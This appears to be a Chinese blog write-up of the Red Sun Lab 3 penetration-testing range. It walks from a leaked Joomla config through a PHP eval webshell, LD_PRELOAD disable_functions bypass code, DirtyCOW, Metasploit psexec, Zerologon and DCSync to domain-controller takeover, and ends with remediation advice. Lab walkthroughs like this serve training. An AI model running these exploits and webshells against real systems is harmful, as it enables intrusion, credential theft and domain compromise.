红日靶场三

红日靶场3(Red Sun Lab 3)渗透全记录

前言

红日靶场系列一直是内网渗透的经典靶场,这次趁着周末把靶场3从头到尾通了一遍。整个流程涵盖了从外网打点到内网横向移动、最终拿下域控的完整攻击链,记录一下思路和操作,供大家参考。


一、环境概述

靶场网络拓扑如下:

1
2
3
4
5
6
7
8
9
攻击机 (192.168.111.25)

├── 边界机 (192.168.111.20 / 192.168.93.100) — CentOS
│ └── 内网机 (192.168.93.120) — CentOS (Web服务)

└── 内网段 192.168.93.0/24
├── 192.168.93.10 — Windows Server 2008 (域控 DC)
├── 192.168.93.20 — Windows Server 2008
└── 192.168.93.30 — Windows 7 (域成员)

关键点:外网访问的是 192.168.111.20,但实际 Joomla 服务跑在 192.168.93.120 上,中间有一层反向代理。


二、外网打点 — Joomla CMS

2.1 配置文件泄露

访问目标时发现存在 configuration.php~ 备份文件泄露:

1
http://192.168.111.20/configuration.php~

成功读取到数据库配置信息:

字段
数据库用户 testuser
数据库密码 cvcvgjASD!@
数据库名 joomla
表前缀 am2zu_

2.2 修改管理员密码

拿到数据库凭据后,直接远程连接 MySQL:

1
mysql -h 192.168.111.20 -u testuser -p'cvcvgjASD!@' joomla

查看用户表发现超级管理员账户:

1
2
SELECT id, username FROM am2zu_users;
-- 结果: id=891, username=administrator

生成 Joomla 格式的密码哈希(MD5:salt):

1
UPDATE am2zu_users SET password='d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' WHERE id=891;

新密码设为 secret,成功登录后台。

2.3 上传 WebShell

登录 Joomla 后台后,通过 Extensions → Templates → Beez3 → 编辑 index.php,在文件末尾插入一句话木马:

1
<?php @eval($_POST['x']); ?>

哥斯拉连接成功,webshell 上线。


三、权限提升 — CentOS 提权

3.1 绕过 disable_functions

哥斯拉连接后发现 PHP 的 disable_functions 限制了大部分命令执行函数,但 putenv()mail() 可用。使用 LD_PRELOAD 技术绕过:

payload.c(共享库源码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
const char* cmd = getenv("CMD");
if (cmd) {
system(cmd);
unsetenv("CMD");
}
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}

编译为共享库:

1
gcc bypass_payload.c -o bypass.so -shared -fPIC

创建 webshell bypass.php

1
2
3
4
5
6
7
<?php
if(isset($_GET['cmd'])){
putenv("LD_PRELOAD=/tmp/bypass.so");
putenv("CMD=" . $_GET['cmd']);
mail("", "", "", "");
}
?>

上传后通过 http://192.168.111.20/bypass.php?cmd=whoami 成功执行系统命令。

3.2 DirtyCOW 内核提权 (CVE-2016-5195)

确认系统版本为 Ubuntu 4.4.0-142 内核,存在 DirtyCOW 漏洞。编译并运行提权 exploit:

1
2
gcc dirty.c -o dirty -pthread -lcrypt
./dirty password123

等待几秒后,新建的 firefart 用户(uid=0)成功写入 /etc/passwd

1
2
3
4
su firefart
# 密码: password123
id
# uid=0(firefart) gid=0(root) groups=0(root)

成功获取 root 权限!


四、内网渗透

4.1 内网探测

利用 MSF 的 post/multi/manage/autoroute 模块建立内网路由:

1
2
3
4
5
6
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 1
msf6 > run

[+] Route added to subnet 192.168.93.0/24
[+] Route added to subnet 192.168.153.0/24

通过 MSF 的 UDP 探测模块发现内网存活主机:

  • 192.168.93.10 — 域控 (WIN-8GA56TNV3MV)
  • 192.168.93.20 — Windows Server 2008
  • 192.168.93.30 — Windows 7

4.2 横向移动 — Windows 7

通过弱口令扫描发现 192.168.93.30 的 SMB 管理员凭据复用:

主机 用户名 密码
192.168.93.30 administrator 123qwe!ASD

使用 MSF 的 psexec 模块拿下 Windows 7:

1
2
3
4
5
6
7
8
9
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.93.30
msf6 > set SMBUser administrator
msf6 > set SMBPass 123qwe!ASD
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > run

[*] Sending stage (248902 bytes) to 192.168.93.30
[*] Meterpreter session 2 opened

信息收集确认:

项目
主机名 WIN7
TEST
DNS 192.168.93.10
IP 192.168.93.30

4.3 凭证提取

通过 hashdump 提取本地管理员哈希:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c1794c5aa8547c87a8bcd0324b8337

尝试 Pass The Hash 打域控失败(不同密码),于是使用 mimikatz 检测 Zerologon 漏洞。


五、域控沦陷 — Zerologon + DCSync

5.1 检测 Zerologon 漏洞

在 win7 的 meterpreter 会话中,通过 mimikatz 的 lsadump::zerologon 模块检测域控:

1
2
3
4
5
6
meterpreter > kiwi_cmd lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ /exploit

NetrServerAuthenticate2: 0x00000000
NetrServerPasswordSet2 : 0x00000000
* Authentication: OK -- vulnerable
* Set password : OK

Zerologon (CVE-2020-1472) 存在,域控机器账户密码已重置为空!

5.2 DCSync 提取域管理员哈希

利用重置为空密码的机器账户,通过 DCSync 攻击获取域管理员哈希:

1
2
3
4
5
meterpreter > kiwi_cmd lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test /authpassword:

** SAM ACCOUNT **
SAM Username : Administrator
Hash NTLM: 18edd0cc3227be3bf61ce198835a1d97

5.3 拿下域控

使用得到的管理员 NTLM Hash,通过 impacket 的 wmiexec.py 登录域控:

1
2
3
proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
-hashes :18edd0cc3227be3bf61ce198835a1d97 \
TEST/administrator@192.168.93.10

成功获取域控 shell,读取 Flag:

1
2
C:\Users\Administrator\Documents\flag.txt
5a6239835a5a7e5e88d6f4d54dda2468

六、攻击链总结

1
2
3
4
5
6
7
8
9
10
configuration.php~ 泄露
→ 数据库密码获取
Joomla 后台登录 + webshell
→ LD_PRELOAD 绕过 disable_functions
DirtyCOW 内核提权 (root)
→ 内网扫描 + PSExec 横向
→ Zerologon 重置 DC 密码
→ DCSync 提取域管理员哈希
→ PTH + WMIEXEC 登录域控
→ 获取 Flag ✓

七、修复建议

漏洞 危害 修复方案
configuration.php~ 备份泄露 禁止 Web 访问 *.php~ 备份文件
Disable_functions 不完整 禁用 putenv/mail 函数或使用 disable_classes
DirtyCOW (CVE-2016-5195) 升级 Linux 内核至 4.8+
弱口令 123qwe!ASD 使用复杂密码,开启账户锁定策略
Zerologon (CVE-2020-1472) 严重 安装 KB4557222 补丁
相同密码复用 不同主机使用不同密码

记录于 2026年7月12日


红日靶场三
http://82.156.189.140:8085/2026/07/12/hr3/
作者
fortuneh2c
发布于
2026年7月12日
许可协议